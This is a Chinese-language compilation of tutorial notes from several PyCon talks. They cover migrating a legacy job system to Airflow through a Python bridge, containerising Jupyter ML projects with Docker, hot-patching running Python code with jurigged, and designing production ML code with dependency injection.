一次性替换所有组件风险过高。更稳妥的策略是渐进式替换,先替换最容易的组件(如调度器和编排引擎)。
然而,Airflow与遗留的作业管理系统并非原生兼容。我们需要一个“桥梁”组件,让两者能够通信。我们将其命名为 PyHero。
对PyHero,我们期望它具备三种“超能力”:
- 易于与现有(非Python)代码库集成。
- 能够快速开发(因为它最终会被淘汰)。
- 具备生产环境质量(尽管是临时的)。
第4章:利用Python实现快速、高质量的集成
超能力一:与现有堆栈集成
上一节我们提出了连接新旧系统的PyHero组件,本节中我们来看看Python如何实现与现有(可能非Python)代码库的集成。
Python与外部代码集成主要有两种方式:
- 直接接口调用:适用于希望长期重用的核心库。
- 将C/C++库编译为共享库(
.so/.dll),在Python中直接导入使用。 - 使用Python C API为C/C++库创建Python绑定。
- 将C/C++库编译为共享库(
- 子进程调用:将外部组件模块化为独立可执行文件,通过Python的
subprocess模块调用。- 代码示例:
subprocess.run([‘legacy_job_executable’, ‘arg1’, ‘arg2’])
- 代码示例:
在我们的案例中,由于计划最终完全替换作业管理系统,我们选择了更简单、侵入性更低的子进程调用方式。
超能力二:快速开发生产级代码
Python的语法特性和丰富生态能极大提升开发效率。
- 利用装饰器实现自动化警报:我们可以创建一个装饰器,自动包装函数逻辑,在异常时创建并路由告警票据。
- 代码示例:
@alert_on_failure(severity=‘HIGH’, group=‘SRE’, component=‘PyHero’) def critical_operation(): # 核心业务逻辑 pass
- 代码示例:
- 使用PDB进行高效调试:当与遗留系统集成出现模糊错误时,Python内置的调试器
pdb能快速定位问题。- 优势:无需重新构建、支持远程调试、命令行交互方便。
- 调用方式:在代码中插入
import pdb; pdb.set_trace(),或通过python -m pdb script.py启动。
超能力三:简易定制与生产部署
Python的动态特性使得定制和部署变得非常灵活。
- 轻松定制开源软件:以替换Airflow的邮件发送模块为例。
- 复制默认的
email.py文件。 - 修改其逻辑,使用
mailx命令替代SMTP。 - 在Airflow配置中指向新的文件路径。
- Airflow在重启时会动态加载这个新模块,实现无缝替换。
- 复制默认的
- 使用虚拟环境进行隔离部署:通过
venv创建独立的Python环境,可以快速在生产集群上部署和测试Airflow,而不会影响其他服务。未来移除也只需删除目录。- 操作流程:
python -m venv /isolated_path/airflow_envsource /isolated_path/airflow_env/bin/activatepip install -r requirements.txt
- 操作流程:
- 利用pytest确保代码质量:在发布前,使用
pytest运行单元测试,确保新的修改不会破坏现有功能。
第5章:数据核对与迁移验证
确保迁移的正确性
现在,我们有了一个由Airflow(新)和遗留作业管理系统(旧)组成的混合系统在运行。如何确保这个新系统确实在执行与旧系统相同的任务呢?
仅仅比较启动的进程列表是不够的,可能遗漏停滞或失败的进程。最可靠的方法是核对系统的最终输出——数据。
使用数据核对框架
我们需要比较旧系统和新系统生成的数百万乃至数十亿的数据点,确保它们完全一致。
为此,我们团队构建了一个基于pandas的数据核对框架。该框架能够高效地对比两个大规模数据集,并标识出任何差异,从而为迁移的正确性提供最终验证。
总结
在本教程中,我们一起学习了利用开源软件进行遗留系统迁移的完整流程:
- 评估与选型:理解遗留代码痛点,明确开源迁移的优势与风险,通过“理解需求-研究-筛选”三阶段法找到最适合的开源项目(如Apache Airflow)。
- 规划与集成:将复杂系统分解,采用渐进式替换策略。引入“桥梁”组件(PyHero)连接新旧系统,并利用Python在集成、快速开发、调试和定制方面的优势。
- 验证与保障:通过隔离部署(虚拟环境)和自动化测试(pytest)保障新系统质量,最终使用数据核对框架验证迁移前后输出数据的一致性。
核心建议:开源迁移不必追求一步到位,小步快跑、持续验证更为稳妥。成功迁移后,别忘了考虑为开源社区贡献你的改进和扩展。

注:本教程基于Nandita Viswanath和Sagar Aryal在PyCon的演讲内容整理。
062:演讲 - 停靠你的Jupyter Notebook


概述
在本节课中,我们将学习如何使用Docker来创建标准化的、可重复的机器学习开发环境。我们将了解Docker的核心概念、组件,并通过一个实际案例,演示如何为Jupyter Notebook项目构建和运行一个Docker容器,从而解决“在我的机器上可以工作”的协作难题。
为什么需要Docker进行机器学习?
上一节我们介绍了课程概述,本节中我们来看看为什么Docker对机器学习项目至关重要。
Docker提供的主要优势是标准化。这首先带来了可重复性,这对数据科学家非常重要。团队成员使用相同的操作系统、工具和依赖项,意味着我们可以轻松复现之前的结果。
它还提供了移动应用程序的能力。模型训练经常需要从本地机器迁移到拥有强大GPU的远程集群。Docker使得这种迁移变得简单。
有些人可能会问,为什么不使用Colab?Colab确实提供了包含依赖项的隔离环境。但当你试图将工作投入生产时,这会变得困难,因为你无法控制生产环境的操作系统和工具。从研究状态迁移到生产状态会花费更长时间。因此,在考虑部署到生产环境时,不建议仅依赖Colab。
Docker的核心组件
理解了Docker的必要性后,本节我们来剖析Docker的三个核心组件。
构建Docker容器的过程可以类比为烘焙饼干。以下是三个关键组件:
-
Dockerfile
Dockerfile是一个包含所有指令的文本文件。当我们构建Docker镜像时,会按顺序执行这些指令,例如复制文件、安装软件包。在我们的类比中,Dockerfile就像是工程师关于如何制作饼干模具的说明书。 -
Docker镜像
Docker镜像像一个非常大的压缩文件,它包含了运行应用程序所需的一切:操作系统、代码、运行时环境、库和依赖项。它是由Dockerfile构建出来的静态模板。在我们的类比中,Docker镜像就是饼干模具本身。 -
Docker容器
Docker容器是Docker镜像的一个运行实例。你可以启动、停止、移动或删除容器。它是应用程序运行时的环境。在我们的类比中,Docker容器就是由模具压出来的、可以吃的饼干。
这些容器镜像存放在容器注册表中,例如Docker Hub、AWS ECR等。Docker Hub就像Docker的GitHub,存储了大量公开可用的镜像,你可以直接拉取使用。
实战:为机器学习项目构建Docker容器
在了解了理论之后,本节我们将动手为一个真实的机器学习项目构建Docker容器。
我们的目标是创建一个Docker容器,用于运行一个X光胸片肺炎分类实验。该项目代码由Git管理,数据由DVC管理,我们将把所有内容拉取到容器中。
第一步:编写Dockerfile
我们通常基于一个已有的、包含基础依赖的镜像来构建,而不是从头开始。
对于本项目,我们需要Python 3、Git、Jupyter Notebook和TensorFlow。在Docker Hub上,我们找到了Jupyter项目维护的 tensorflow-notebook 镜像。
以下是我们Dockerfile的核心内容:
# 指定基础镜像
FROM jupyter/tensorflow-notebook:latest
# 设置环境变量(示例)
ENV PROJECT_DIR=/home/jovyan/work
# 复制本地文件到镜像中(示例)
# COPY requirements.txt ${PROJECT_DIR}/
# 运行命令:克隆仓库、安装依赖、拉取数据
RUN git clone <你的仓库地址> ${PROJECT_DIR} && \
cd ${PROJECT_DIR} && \
git checkout vgg19-branch && \
pip install -r requirements.txt && \
dvc pull
关键指令说明:
FROM: 指定基础镜像。RUN: 在构建镜像时执行命令,常用于安装软件包。COPY: 将文件从主机复制到镜像中。ENV: 设置环境变量。CMD: 指定容器启动时默认运行的命令(在基础镜像中通常已设置启动Jupyter)。
第二步:构建Docker镜像
使用 docker build 命令,根据Dockerfile构建镜像。
docker build --pull -t pneumonia-classification:vgg19 .
--pull: 确保拉取基础镜像的最新版本。-t: 为镜像打标签,格式为名称:标签。.: 指定Dockerfile所在的路径(当前目录)。
构建完成后,可以使用 docker images 查看本地所有镜像。
第三步:运行Docker容器
使用 docker run 命令启动一个容器实例。
docker run -p 8888:8888 --name my_experiment pneumonia-classification:vgg19
-p 8888:8888: 将容器的8888端口映射到主机的8888端口(Jupyter默认端口)。--name: 为容器指定一个名称。
运行后,终端会输出一个带有token的URL(例如 http://127.0.0.1:8888/?token=abc123)。将其复制到浏览器,即可访问一个完全配置好、包含所有项目文件和依赖的Jupyter Notebook环境。
第四步:在容器内工作并提交更改
实验完成后,你可能需要将代码更改提交回Git仓库。

首先,获取正在运行的容器ID:
docker ps
然后,使用 docker exec 命令在容器内打开一个交互式终端:
docker exec -it <容器ID或名称> /bin/bash
现在,你就在容器内部了。可以像在本地一样使用Git命令:
cd /home/jovyan/work
git status
git add .
git commit -m “Update model to VGG19”
git push
操作完成后,输入 exit 退出容器终端。
总结
本节课中我们一起学习了Docker在机器学习项目中的关键作用。
我们首先探讨了为什么需要Docker,主要是为了团队协作的可重复性和项目环境的一致性。接着,我们拆解了Docker的三个核心组件:Dockerfile(说明书)、Docker镜像(模板)和Docker容器(运行实例)。最后,我们通过一个完整的实战演示,展示了如何从零开始构建并运行一个用于Jupyter Notebook机器学习项目的Docker容器,包括编写Dockerfile、构建镜像、运行容器以及在容器内进行版本控制操作。
通过使用Docker,你和你的团队将能够在一个统一、隔离的环境中无缝协作,彻底告别“在我的机器上可以工作”的问题。
063:如何在Python运行时进行更改 🐍



在本节课中,我们将学习如何在Python程序运行时动态地修改其代码,这一过程被称为“实时编码”或“热补丁”。我们将探讨其核心概念、实现原理,并通过一个名为jurigged的库来了解具体实践。
什么是实时编码?🤔
实时编码是一种开发过程,允许开发者在程序运行的同时编辑其源代码,并立即观察到更改的效果。这对于游戏开发、服务器更新或长时间运行的机器学习任务等场景非常有用,因为它能提供即时反馈,而无需重启整个程序。
实时编码的目标 🎯
我们的核心目标是:在程序执行过程中,更新特定函数的代码,同时保持程序当前的执行位置和状态。这意味着,下一次调用该函数时,将运行新版本的代码。
上一节我们介绍了实时编码的基本概念,本节中我们来看看实现这一目标需要满足哪些具体需求。
以下是实现实时编码需要解决的关键问题:
- 更新函数引用:当修改一个模块中的函数时,需要确保所有对该函数的引用(如直接导入、作为模块属性访问、存储在字典中)都指向新的函数版本。
- 更新方法:修改类的方法时,不仅新创建的对象,所有已存在的对象实例都应能使用新版本的方法。
- 更新闭包:闭包是嵌套在其他函数内部的函数,它携带了外部函数的状态。更新闭包函数时,需要确保所有基于该闭包创建的、携带不同状态的函数实例都被正确更新。
- 精确更新:更新应只影响被修改的代码部分,避免重新执行整个程序或循环。例如,在
while循环中更新被调用的函数,循环应继续执行,但下一次迭代将调用函数的新版本。
实现原理:热补丁与Python内部结构 🔧
为了实现热补丁,我们需要理解Python函数在内存中的数据结构。每个函数对象都有一个名为__code__(双下划线代码)的属性,它指向一个“代码对象”,其中包含了该函数真正的字节码。
def outer(x):
def inner(y):
return x + y
return inner
# `outer`和`inner`都是函数对象
# `outer.__code__` 指向outer的代码对象
# `inner.__code__` 指向inner的代码对象
关键点在于,__code__指针是可以被修改的。因此,热补丁的基本思路是:当我们有新版本的函数代码时,就找到所有指向旧代码对象的函数对象,并将它们的__code__指针更新为指向新的代码对象。
上一节我们了解了热补丁的理论基础,本节中我们来看看实现它的具体步骤。
以下是实现热补丁的步骤:
- 检测文件变化:使用文件系统监控库(如
watchdog)来检测源代码文件何时被保存。 - 识别变更内容:对比新旧源代码,通过结构化的差异分析,精确找出哪些函数或方法发生了改变。
- 编译新代码:在隔离的环境中编译新的源代码,获得新的代码对象。
- 定位旧代码对象:在正在运行的程序中,找到所有需要被替换的旧代码对象及其对应的函数对象。这通常需要遍历垃圾回收器(
gc模块)中的对象,或利用Python 3.8+的审计钩子(audit hooks)来跟踪代码执行。 - 交换指针:将所有相关函数对象的
__code__指针从旧的代码对象更新为新的代码对象。 - 处理边界情况:例如,更新后回溯信息中的行号可能不正确;某些依赖代码对象身份检查的装饰器或库(如多路分发库
multipledispatch)可能会失效。
高级主题:一致性协议 📜
对于某些复杂的库,简单地交换__code__指针可能不够。例如,一个多路分发库内部可能缓存了参数类型到具体函数的映射。
为了解决这个问题,可以引入一个“一致性协议”。任何希望深度参与热补丁过程的库,可以定义一个具有__conform__方法的特殊对象。当热补丁工具发现一个函数被这样的对象引用时,它会调用该对象的__conform__方法,并传入新的代码对象,由该对象负责更新其内部状态。
class Conformant:
def __conform__(self, new_code):
# 自定义逻辑来更新内部状态,以适配新的代码
pass
实践工具:Jurigged库演示 🚀
Jurigged是一个实现了上述原理的Python库。使用方式非常简单,只需用jurigged命令替代python命令来启动你的脚本。

# 普通运行
python my_script.py
# 使用Jurigged运行,启用实时编码
jurigged my_script.py

运行后,当你修改并保存my_script.py或其导入的模块文件时,Jurigged会自动将更改热补丁到正在运行的程序中。对于当前正在执行的函数,更改将在下一次调用时生效。
总结 📝


本节课中我们一起学习了Python实时编码的核心概念。我们了解到,通过热补丁技术更新运行中程序的函数、方法和闭包是可行的,其核心在于替换函数对象的__code__指针。Jurigged库提供了一个现成的实现。对于更复杂的场景,可以通过“一致性协议”让第三方库选择加入深度更新。实时编码能极大提升开发迭代效率,是Python开发者工具箱中一个强大的利器。
064:Python 中的机器学习软件开发



概述
在本节课中,我们将学习如何将机器学习代码从实验阶段转化为生产级软件。我们将探讨数据科学家和机器学习工程师面临的挑战,并介绍一种基于依赖注入和抽象泄漏原则的软件设计方法,旨在提升代码的可探索性、声明性、可重用性和可监控性。
从实验代码到生产代码的挑战
大家好,欢迎回来。
接下来由 Paolo Alcain 进行关于 Python 中机器学习软件开发的讲座。
现在交给你,Paolo。
首先,欢迎大家。非常感谢你的到来。我很高兴能在这里,也感谢所有让这一切成为可能的团队。
我希望我们接下来的几分钟能讨论一些非常有趣的内容,不仅对我来说有意义,而且与我们在机器学习行业的最新发展有关,我们试图探讨一下在机器学习中需要什么样的软件开发。
所以我们先从一个非常简单的问题开始。这是一个非常著名的问题,无论你去哪里找 scikit-learn 的教程,或者许多试图让你入门分类问题的页面,你可能都听说过分类的概念。在这里,我们有鸢尾花的想法,其目的是让我们能够通过四个特征对它们进行分类:花瓣长度、花瓣宽度、花萼长度和花萼宽度。从这四个特征中,我们必须弄清楚它属于哪个品种。
首先需要说明的是,由于这些内容将会被截取,你会看到列字符串被大幅缩短。这并不是我所鼓励的。最好能尽量使用最好的列名,但在这种情况下我们需要节省幻灯片的空间。我想说,在生产代码中不应该这样命名列。
当你查看这个问题以及如何解决它时,第一件事就是通常你会翻开一本旧书或打开一个 Python 解释器,然后开始将其作为一个游乐场。尝试新想法,找出如何解决这个问题。因此,解决这个问题的一个非常简单的方法可以是这样的。
这个问题的简单解决方案使用了对于机器学习开发者或数据科学家来说非常常见的技术栈,基本上是使用 pandas 和 scikit-learn。你可以看到开头有一堆导入,然后我们基本上加载了一个数据集。从我们加载的 CSV 数据集中,我们识别了特征和目标。
然后我们将用来自 scikit-learn 的管道对象对其进行分类。在这种情况下,这个管道对象包含两个步骤。在第一个步骤中,我们根据特定标准选择两个最佳特征。我们甚至可以选择我们想要的特征。从这些特征中,我们直接使用逻辑回归进行分类,以便查看结果,找出它们属于哪种类型。这就像是分类器的声明。
在下一步中,我们实际上会对模型进行拟合。这就是我们通常所说的机器学习模型的训练。然后我们计算训练集上的准确率得分。这只是为了展示我们可以做的事情之一。再说一遍,我并不是说你应该在训练集上计算模型的准确率。但在计算出准确率后,我们只是告知并了解我们得到的准确率得分。
现在,这是我们所完成的演示。实际上,我们在这里看到的这个管道几乎是我从你们学习教程中逐字提取的。当我们需要将其投入生产时,会出现几个障碍。
当我们尝试将这段小代码投入生产时。这是一张非常知名的图像,来自一篇名为“机器学习系统中的隐性技术债务”的论文。我建议每位尚未阅读此论文的数据科学家、机器学习开发者或机器学习工程师去看看,因为它能让你看到在思考这个问题时我们作为数据科学家所忽视的地方。
将事物投入生产意味着面临许多不同的挑战。我不会列出所有的挑战,但基本上我认为我们通常不考虑的那些。有时我们没有考虑到在部署中的持续训练、基础设施的提供,以便实际进行模型训练、模型跟踪,以及如何服务于模型。这仅仅是你可以看到的众多问题中的一个子集。
我们在这里看到的论文的一个关键要素是,我们刚刚构建的机器学习代码只是整个结构的一小部分。我今天要讨论的是我们如何使这小而基础的代码部分运作,以便服务于进入生产的目的,并且也方便科学家的探索。
数据科学家与生产代码的耦合
我们为什么要说数据科学家或机器学习开发人员了解代码如何进入生产是重要的?我们所说的是数据科学家的开发体验是紧密耦合生产是什么样子的。
在第一个例子中,假设我们有一个科学家做了一些更改,也许比我们刚才看到的更多,并直接将其部署到生产中。我们所说的部署到生产,意味着他或她是负责的人,实际上编写我们所称的生产代码。这将属于我们之前看到的结构。在这种情况下,数据科学家或机器学习开发人员与生产代码的外观有很大的耦合。但同样值得注意的是,如果下一个数据科学家来并尝试在此基础上进行更改,他们必须能够理解生产代码是什么。经验之间的耦合既涉及代码的首次编写,也涉及理解代码以便后续进行更改。
现在我们可以想到另一个极端解决方案,那就是设立一个障碍。我们在数据科学家和生产代码之间放置机器学习工程团队,我们说,嘿,你不会是编写生产代码的人。别担心。你只需思考模型,考虑它如何运作。所有这些都在你的实验中进行,我将负责将其写入生产代码。尽管看起来这样可以将数据科学家与生产代码本身解耦,问题在于,当下一个数据科学家来并尝试理解发生了什么时仍然存在。他们必须获取我们在生产中最新的代码,并且必须理解这意味着什么以及如何使用它。


现在,这可以通过许多不同的方式来解决。一种可能性是说机器学习工程师是负责的那个人,解释生产是如何与每个数据科学家相关的。另一个可能性是,数据科学家需要彼此交流,这些都是在许多不同方面都能很好运作的常见解决方案。
但今天我想和你讨论一个用于生产化的机器学习代码的软件设计解决方案。
生产化代码的四个支柱
如果我们能学会如何编写这段代码,以便它符合以下四个支柱,那会怎么样?
以下是四个核心支柱:
- 快速和简单的探索:针对这些问题的解决方案非常具备猜测性,模型变化得太快。因此,我们必须让数据科学家能够在生产代码的基础上探索新的想法。
- 声明性和意图性:目标是我们唯一的文档,它足够详细和精确,可以作为文档使用。我们必须抓住生产代码的机会,尽可能地使其具有声明性。
- 合理的检查点:如果我们有一个管道,在整个生产代码中做许多不同的事情,我们希望能够用我们之前的解决方案来解决问题,并简单地重用其中的一个步骤。我们还希望能够跳出问题,并将之前的步骤作为参考供我们的探索等。重用这些步骤非常重要。
- 无缝的跟踪和监控:我们必须跟踪在生产中运行的代码,但不能以污染我们刚才描述的声明性和意图代码的方式来进行跟踪。
结合我刚才讨论的这四个支柱,我们将对刚刚看到的模型进行生产化的详细说明。
初步重构:抽象持久化操作

现在这是我们刚写下的训练文件。我们从这里看到的代码中意识到,这不可能投入生产。为什么?因为我们刚刚在分类器中训练的模型 .fit 行仅存在于这个 Python 文件的作用域内。我们需要找到一种方式将这个模型持久化,以便稍后能够加载它,做我们需要做的事情,例如在线服务模型。
因此,我们意识到的第一件事是,不是检查准确性代码,我们实际上想要做的是将模型保存为一个 pickle 文件。我们可以用这句非常简单的两句话直接加载它,这要归功于 with 语句。现在,当我们这样做时,文件中的预测部分将会被加载我们拥有的模型文件。在一个未见的数据集上,这个我们正在查看的未见的 iris 数据集。我们将进行预测,并自然地检查准确性评分。

我们刚刚写的代码中,我们意识到的第一件事是我们正在暴露实现细节。当我们查看这两件事时,我们在说,嘿,也许我们不想在目标中告诉人们我们是如何保存模型的。如果我们与他人一起保存,它是某种东西,我们想要抽象。我们想要将其抽象化。我们知道如何做到,我们将其抽象为函数。我们创建了 save_model 函数和 load_model 函数,负责实际在底层执行这项工作。
做这件事的那一刻,有两件非常重要的事情开始发生。第一个是你可以在训练中看到,我们刚刚删除了 with 语句的 py 文件。那可能是我们两行代码的一部分,以声明式的方式放置。现在我们知道我们实际上是把模型保存在某处。但另一个事情开始发生的是,我们现在将整个目标库进行了拆分,整个目标库,只有三个文件,我们将整个目标库拆分为两个不同的语义空间。一个是我们在顶部看到的。这就是我们要称之为库空间的东西,这些是我们要开发的所有工具,将在底部的应用空间中使用。
所以我们现在要做的是在库空间中工作,看看我们如何简化应用代码,这正是我们希望数据科学家或机器学习开发人员进行迭代的。现在在我们完成这个之后,构建 save_model 功能,以及 load_model 功能,train.py 文件现在的样子是这样的。你看,这很重要,现在我们不是直接导入 pickle,而是从我们自己的库中导入 save_model 功能。
识别模式与面向对象重构
现在我们看看我们所拥有的,嘿,有些东西与我们刚刚看到的相似。我们这个分类器发生了什么?有点类似于我们所做的加载模型和保存模型的事情。我们有这个想法,我们需要将它们抽象成函数。关于这个想法,我要给你一个小剧透。这就是我们方法开始衰退的地方。
所以这没关系,我们还不知道剧透。我们很开心,正在构建这个 fit_model 函数。它实际做的事情是加载分类器并进行拟合。所以这是模型拟合的一部分。
现在我们知道的一件事是,当你在代码中看到这种模式时,比如有重复的前缀或后缀,你看到的实际上是里面一个对象在被折磨,尖叫着。这里有一个对象,我们必须找出它的名字。很明显,我们所看到的对象是模型对象。
所以我们进行小的重构,把我们拥有的函数改成这些模型对象的方法。看,现在它看起来更漂亮了,因为分类器现在属于初始化部分,而拟合只是拟合。而 train.py 文件仍然看起来非常声明性,非常有意图地揭示,现在更多地呈现出这种面向对象的方式。
我们不仅满足于此,我们还说,嘿,有什么相似的事情发生在那个数据集上。我对这个数据集的处理方式有点像我对模型所做的那样。再说一次,我不会开始把这些放入函数中。我们已经知道,尾部的最终结果是我们将构建数据集对象。
所以下一步我们要说的是,嘿,也许我们在这里看到的特征和目标是一个称为数据集对象的抽象的一部分。我们想给你这个名称。我们有了数据集。这就是我们要做的,特征和目标已经在构造函数中写下来了,特征和目标意味着什么。

现在我们来看一下之前看到的 train.py 文件。哇,这看起来比我们之前的清晰多了。我们有了更简洁的代码,甚至还可以在这里添加我们的抽象。所以模型的 .fit 不再像以前那样直接使用特征和目标。我们现在使用的是刚刚构建的数据集,具有一个抽象。我们对此非常满意,但正如我告诉你的,这并不是故事的结束。

抽象泄漏与依赖注入
因为突然有人告诉我们,嘿,我们不想总是选择这两个最佳特征。有时你想选择三个,有时你想选择一个。当你编写代码时,有人只是想了解如何探索这个数据集。他们只是想看看如果我们不必选择最好的两个特征,会表现得如何。我们说,好吧,我们知道怎么做。我们不再半心半意地选择那两个,而是传递选定特征的数量作为参数。现在你可以选择想要的选定数量,要求就满足了。
突然他们说,嘿,有时我们其实不想选择,我们想要放弃。你在我们拥有的所有数字和所有特征上做一点小处理。然后我们说,好吧,我们可以让这个工作,因为我将和你签订一个合同,如果你发送的选定数量为零,那么我将完全忽略选择步骤。现在感觉有点奇怪,与 None 进行比较并不是我们很享受的事情。但我们也正在进行人们要求的所有这些变化。
突然有人说,实际上我们并不总是想做逻辑回归。我们想尝试多层感知机。我们已经深陷于这个思维过程中,唯一能想到的就是在这个构造中再加一个 if。这在你试图为你的库提供所需的灵活性时经常发生。所以现在,如果之前的部分有点令人不安,现在这简直是令人恐惧的。我们有与字符串的比较。我们必须提高警惕,如果有人甚至在传递分类器类型时出现了错误,这完全没有任何意义。我们没有走在正确的路径上。必须有更好的方法来做到这一点。
然后我们意识到问题在于我们实际上不知道模型是什么。我们想要的,所有正在变化的事物。我实际上在解释的是,这个模型是非常推测性的,我们将会永远不知道模型是什么样子的。所以我们从一开始面临的主要问题是说模型必须在这里实例化,分类器必须在这里。如果我们不在这里实例化模型,而是简单地将其作为参数传递,会怎么样?在构造函数中,我们不再做那些奇怪的事情,比如处理字符串和选择性的数字等,而是简单地说,后端模型,我是指实际上要进行拟合计算的那个,可以作为构造函数中的参数传递。
现在,当我们开始这样做时,这就是模型的样子,而我们在这里刚刚发现的并没有什么新鲜事。这就像一个众所周知的面向对象设计模式,称为依赖注入。如果你熟悉SOLID这个缩写,依赖注入是SOLID缩写中的 D。这就是它的重要性。对我们来说,在 Python 中,通常依赖注入仅意味着在构造函数中参数化某些东西。而在这种依赖注入和组合机制中,通常我们最终会得到方法的委托。因此,我们从模型类调用的拟合实际上将调用委托给后端分类器的拟合。这是一个你在开始进行依赖注入和组合时会经常看到的图形。

现在这是模型的样子,可以看到我们所做的是去掉了刚构建的模型的耦合。我们去掉了它与实际实现之间的耦合。现在实现也回到了表面上。所以我们现在有这个依赖注入的想法,作为修复我们刚刚置身其中的一些问题。

引导抽象泄漏以赋能探索
但突然有人告诉我们,我想去掉一个特征。从我们这边来看,我想简单地去掉一个特征。这不是一个要投入生产的东西。我只是想知道如果没有这些特性,模型会表现如何。我们看看我们的目标,另一方面我们说,好吧,也许有一些依赖注入可能会有所帮助。我并不是说它没有帮助。但无论如何。如果这是我们想要做的,我们必须在这段代码中重新实现特性的删除。我的意思是,我们需要去写它,去记录它,还要测试它。我们将不得不排查用户可能遇到的任何问题。
因此,我们在这个 dataset.py 文件中看到的是有些不同的事情。我们需要做的,来回答是什么挑战在这里提出的,就是反思我们在进行依赖注入时实际上做了什么。我在这里争辩,我们所做的并不仅仅是对 scikit-learn 模型在模型步骤中的依赖注入,而是我们也向数据科学家暴露了一个已知的责任。通过进行依赖注入,我们并没有引入任何依赖。我们引入的依赖是科学家们非常熟悉的 scikit-learn 库。他们已经具备了这个堆栈。如果他们有任何问题,他们知道如何解决,知道如何在 Stack Overflow 上查找。他们知道如何相互沟通可能的解决方案。
那么如果我们从这里的成功经验中汲取教训,做类似的事情来处理数据集呢?现在,数据集不再加载 CSV 文件并拆分成特征和目标,而是简单地填充数据框属性,并让它对所有人开放使用。因此目标和特征选择是在应用程序代码中完成的,然后我们想要做的改变是立刻的,在开发应用程序时,这就在我们的指尖之上。
那么这里是什么呢?我们在这里构建的是什么?我想先花点时间反思一下这如何运作。我们用数据集、模型等构建的只是抽象。在软件工程中,有很多种方法可以定义抽象,但我特别喜欢的是 Joel Spolsky 写的那种,它非常简单,但也直击要点。抽象是对更复杂事物的简化,这些复杂的事情在表面之下发生。我为什么特别喜欢这个解释?因为这用非常简单的语言表述,同时也揭示了什么是抽象,什么是实现细节?所有这些都是非常主观的。我们无法预知什么应该属于抽象的部分。我们不知道什么对谁来说更复杂。
本文称之为“泄漏抽象的法则”,已有 20 年的历史,这让我仍然感到惊讶。Joel Spolsky 写下了泄漏抽象法则。他所说的是,所有非平凡的抽象在某种程度上都是有缺陷的。什么是有缺陷的抽象?这意味着无论我们多么努力地隐藏实现细节,一些东西最终还是会浮出水面。有些东西会渗透到应用代码中,无论你多么努力地将它们隐藏在库代码中。这并不意味着我们不需要抽象,绝对不是。我们必须进行抽象,但我们必须对此保持警惕,因为我们在这里看到的不仅仅是泄漏抽象法则在实际中的运作。我们也看到这些抽象受到压力要泄漏。数据科学家,应用代码的用户正在施加压力,要求我们泄漏这些实现细节或我们认为是实验细节的东西。它们会受到压力重新浮现。所以我们必须在自己的抽象中做出妥协。我们必须让抽象泄漏,因为它们最终会这样做。但从我们意识到这一点并简化探索的那一刻起,我们可以选择它们如何泄漏。
我们在这里构建的并不仅仅是一个库。我们并不是试图重建 pandas,也不是重建 scikit-learn。我们想做的是提供一个代码开发的框架,同时在这个框架中,我们利用了应用用户已经掌握的 Python、pandas 和 scikit-learn 的知识。我们在此基础上加以利用,这在许多其他不同的库中也同样适用。如果库是 Pyspark、TensorFlow、PyTorch,无论我们在技术栈中使用哪个库,我们都可以采用类似的方法,利用应用程序用户拥有的知识来为我们服务。
回顾四个支柱的实现
那么让我们看看这如何试图在开始的案例中实现四个支柱。
首先,快速且简单的探索,我希望我们现在想一下,假设我们想尝试的事情是,如果我们移除冗长的序列,会发生什么?如果在我们的数据集中,我们想移除长度超过五的序列,会发生什么?所以探索是微不足道的。科学家们已经知道如何处理 pandas。他们已经知道如何编写这些查询。我们并不考虑将这些直接投入生产,但他们可以这样做,如果他们想。因此,我们允许这种探索的可能性。
现在,我们如何使其成为声明式和有意的揭示呢?这就是抽象的力量为我们所用的地方。不仅抽象为开发者所用,也为应用程序所用。因为我们可以移除冗长的、奇怪的查询,而这些查询可能会更大,更详细。我们可以将其抽象并验证为一种声明式的方法,并且有意的揭示要足够明显。所以现在当我们查看 train.py 中的调用时,我们可以很清楚地看到这里发生了什么。我们并没有看到在实际应用中直接用到查询和 pandas。我们看到的是我们正在从数据集中移除冗长的序列。
另一个重要的事情是,我们讨论的都是合理的检查点。我们能够随时连接和断开生产代码的能力。而为此,我想说一些事情。在检查点中我们可以讨论很多内容,从持久化到改变时间视图等等。但我希望你考虑暴露基本类型的想法,这里的基本类型也包括数据框。考虑暴露基本类型,而不是你们自定义的抽象。这将有助于在检查点之间实现灵活性。因为这将允许人们以他们构建的 pandas 数据框的方式来提供特征和数据集。所以我们将更倾向于或至少考虑在此基础上进行实现,特征在目标中明确写出。


现在我应该说点什么。在进行此操作时要小心,我们不必让代码完全被基本数据类型污染。这是一种非常著名的代码气味,拥有所有气味中最好的名称,那就是所谓的原始类型迷恋。我们不想迷恋使用基本类型,但我们要知道在使用它们时,何时是一个好的妥协以提供灵活性。
这如何帮助我们实现无缝跟踪和监控?再次强调,现在抽象在我们这边起作用。现在在我们看到的那个馈送模型内部,我们可以简单地添加一行登录信息。使用自定义记录器,无论我们想要如何构建,有很多工具可以自动完成。我并不是说你必须自己编写记录器。我所说的是,无论你如何获取到那个记录器,你都可以在应用程序的库部分中插入它,而无需触碰应用程序。这是我们拥有的一个优势。再一次,抽象在我们这边为我们工作。
当你开始做这种事情时要小心,API 可能比你预期的要广泛。这在库开发中是一个反复出现的主题。你希望你的库尽可能地像一个箭头一样深入。所以不要暴露太多,但要暴露那些具有深度、做很多事情、抽象出多种内容的东西。再一次,这应该是我们在开发代码时普遍追求的目标,但请记住,由于我们将面临的抽象泄漏,我们最终可能会拥有比我们想要的更广泛的 API。
这里是一个示例,可能在你开始进行这种开发的瞬间就会发生,不同的人会说:“我有时想从数据框加载,有时想从 CSV 文件加载,有时我什么也不想加载。”这些事情将会发生,我们需要确保提供这种灵活性。一直以来,正如我所说,使用时要非常谨慎,注意你在应用程序中暴露的内容,以及你用于内部开发的内容。这是一种区分,可能有助于你应对最终会出现的复杂性。当然,如果 API 最终变得过于广泛,你可能会考虑进行一些重构,思考这是不同方法的组合。但本质上,请记住我们无法放弃的目标之一是:我们必须为正在进行的人员提供合理的检查点和快速探索,以便使用我们的库。
总结
好的,作为结论,首先,我在做这类事情时学到的一件事是,什么是实现细节在于观察者的眼中。对某些人来说,可能是非常复杂的事情的细节,而这些事情实际上是我们希望在整个过程中发生的。对某些人来说,这就是他们所开发的代码。我们需要尽快理解实现的二元性,以及哪些是细节,哪些不是,以便能够利用它而不是与之对抗。
